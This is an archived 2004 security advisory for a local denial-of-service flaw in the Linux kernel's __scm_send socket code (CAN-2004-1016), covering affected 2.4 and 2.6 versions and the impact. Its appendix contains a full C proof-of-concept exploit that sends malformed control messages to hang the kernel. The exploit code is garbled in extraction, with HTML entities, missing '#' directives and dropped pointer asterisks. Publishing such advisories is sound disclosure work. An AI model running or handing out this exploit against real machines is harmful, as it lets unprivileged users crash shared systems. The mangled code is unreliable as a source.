Linux kernel scm_send local DoS

2004-12-15T00:00:00
ID SECURITYVULNS:DOC:7329
Type securityvulns
Reporter Securityvulns
Modified 2004-12-15T00:00:00

Description

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Synopsis: Linux kernel scm_send local DoS Product: Linux kernel Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9 Vendor: http://www.kernel.org/ URL: http://isec.pl/vulnerabilities/isec-0019-scm.txt CVE: CAN-2004-1016 Author: Paul Starzetz <ihaquer@isec.pl> Date: Dec 14, 2004

Issue:

A locally exploitable flaw has been found in the Linux socket layer, that allows a local user to hang a vulnerable machine.

Details:

The Linux kernel provides a powerful socket API to user applications. Among other functions sockets provide an universal way for IPC and user- kernel communication. The socket layer uses several logical sublayers. One of the layers, so called auxiliary message layer (or scm layer), augments the socket API by an universal user-kernel message passing capability (see recvfrom(2) for more details on auxiliary messages).

One of the scm message parsing functions invoked from the kernel sendmsg() code is __scm_send() and suffers from a deadlock condition if carefully prepared auxiliary message(s) is sent to a socket by an unprivileged application.

We believe that the 2.4 kernel branch is not further exploitable. The 2.6 branch has not been extensively checked, however it may be locally exploitable to gain elevated privileges due to its increased complexity.

Discussion:

See attached code.

Impact:

Unprivileged local users may hang a vulnerable Linux machine.

Credits:

Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF ONE OF THE AUTHORS.

Disclaimer:

This document and all the information it contains are provided "as is", for educational purposes only, without warranty of any kind, whether express or implied.

The authors reserve the right not to be responsible for the topicality, correctness, completeness or quality of the information provided in this document. Liability claims regarding damage caused by the use of any information provided, including any kind of information which is incomplete or incorrect, will therefore be rejected.

Appendix:

/ * Linux kernel 2.4 & 2.6 __scm_send DoS * Warning! this code will hang your machine * * gcc -O2 scmbang.c -o scmbang * * Copyright (c) 2004 iSEC Security Research. All Rights Reserved. * * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES ONLY IT IS PROVIDED "AS IS" * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED. * /

define _GNU_SOURCE

include <stdio.h>

include <errno.h>

include <sys/socket.h>

include <arpa/inet.h>

static char buf[1024];

void fatal (const char *msg) { printf ("\n"); if (!errno) { fprintf (stderr, "FATAL: %s\n", msg); } else { perror (msg); } printf ("\n"); fflush (stdout); fflush (stderr); exit (1); }

int main (void) { int s[2], r; struct sockaddr_in sin; struct msghdr msg; struct cmsghdr cmsg;

r = socketpair &#40;AF_UNIX, SOCK_DGRAM, 0, s&#41;;
if &#40;r &lt; 0&#41;
    fatal &#40;&quot;socketpair&quot;&#41;;

memset &#40;buf, 0, sizeof &#40;buf&#41;&#41;;
msg = &#40;void *&#41; buf;
msg-&gt;msg_control = &#40;void *&#41; &#40;msg + 1&#41;;

// make bad cmsgs cmsg = (void *) msg->msg_control;

cmsg-&gt;cmsg_len = sizeof &#40;*cmsg&#41;;
cmsg-&gt;cmsg_level = 0xdeadbebe;
cmsg-&gt;cmsg_type = 12;       // len after overflow on second msg
cmsg++;

// -12 for deadlock cmsg->cmsg_len = -12; cmsg->cmsg_level = SOL_IP; msg->msg_controllen = (unsigned) (cmsg + 1) - (unsigned) msg->msg_control; r = sendmsg (s[0], msg, 0); if (r < 0) fatal ("sendmsg");

printf &#40;&quot;&#92;nYou lucky&#92;n&quot;&#41;;
fflush &#40;stdout&#41;;

return 0;

}


Paul Starzetz iSEC Security Research http://isec.pl/

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